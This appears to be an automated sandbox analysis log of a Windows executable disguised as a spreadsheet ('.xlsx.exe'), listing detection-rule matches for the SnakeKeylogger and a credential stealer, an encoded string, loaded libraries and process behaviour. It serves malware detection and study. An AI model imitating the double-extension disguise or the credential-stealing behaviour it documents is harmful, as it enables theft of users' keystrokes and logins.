Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E1E70	1_2_060E1E70
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EE6AF	1_2_060EE6AF
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EE6B0	1_2_060EE6B0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EEAF8	1_2_060EEAF8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EEB08	1_2_060EEB08
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E0B20	1_2_060E0B20
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EEF51	1_2_060EEF51
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EEF60	1_2_060EEF60
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E178F	1_2_060E178F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E8BA0	1_2_060E8BA0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EF3B8	1_2_060EF3B8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EF802	1_2_060EF802
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E5018	1_2_060E5018
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EF810	1_2_060EF810
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E003F	1_2_060E003F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E0040	1_2_060E0040
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ECC8F	1_2_060ECC8F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ECCA0	1_2_060ECCA0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED0E9	1_2_060ED0E9
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED0F8	1_2_060ED0F8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED540	1_2_060ED540
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED550	1_2_060ED550
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED999	1_2_060ED999
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060ED9A8	1_2_060ED9A8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EDDFF	1_2_060EDDFF
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_08F81B88	1_2_08F81B88
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_08F81B79	1_2_08F81B79
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_0908733F	1_2_0908733F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_090866C0	1_2_090866C0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_090866C0	1_2_090866C0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_090D1BF0	1_2_090D1BF0

Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688208679.0000000005620000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1681361916.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameriched20.dllp( vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\000004B0\\OriginalFilename vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000000.1664986249.0000000000A72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePumoa.exe, vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688025418.0000000005590000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscorlib.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\040904B0\\OriginalFilename vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\000004B0\\OriginalFilename vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Windows.Forms.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.DLLT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Core.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Configuration.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Xml.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Web.Extensions.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Web.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Drawing.dllT vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4138595927.00000000066C9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DC74433Y7889021.xlsx.exe
Source: DC74433Y7889021.xlsx.exe	Binary or memory string: OriginalFilenamePumoa.exe, vs DC74433Y7889021.xlsx.exe

Source: DC74433Y7889021.xlsx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.DC74433Y7889021.xlsx.exe.5590000.5.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.DC74433Y7889021.xlsx.exe.5590000.5.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'

Source: DC74433Y7889021.xlsx.exe, W--.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: DC74433Y7889021.xlsx.exe, W--.cs	Security API names: System.Security.AccessControl.W_26CA_0306.GetAccessControlSectionsFromChanges()
Source: DC74433Y7889021.xlsx.exe, -.cs	Security API names: System.Security.AccessControl._0385.GetAccessControlSectionsFromChanges()
Source: DC74433Y7889021.xlsx.exe, -.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: DC74433Y7889021.xlsx.exe, .cs	Security API names: System.Security.AccessControl..GetAccessControlSectionsFromChanges()
Source: DC74433Y7889021.xlsx.exe, .cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@4/4

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DC74433Y7889021.xlsx.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Mutant created: NULL

Source: DC74433Y7889021.xlsx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DC74433Y7889021.xlsx.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

File read: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process created: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process created: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: msasn1.dll	Jump to behavior
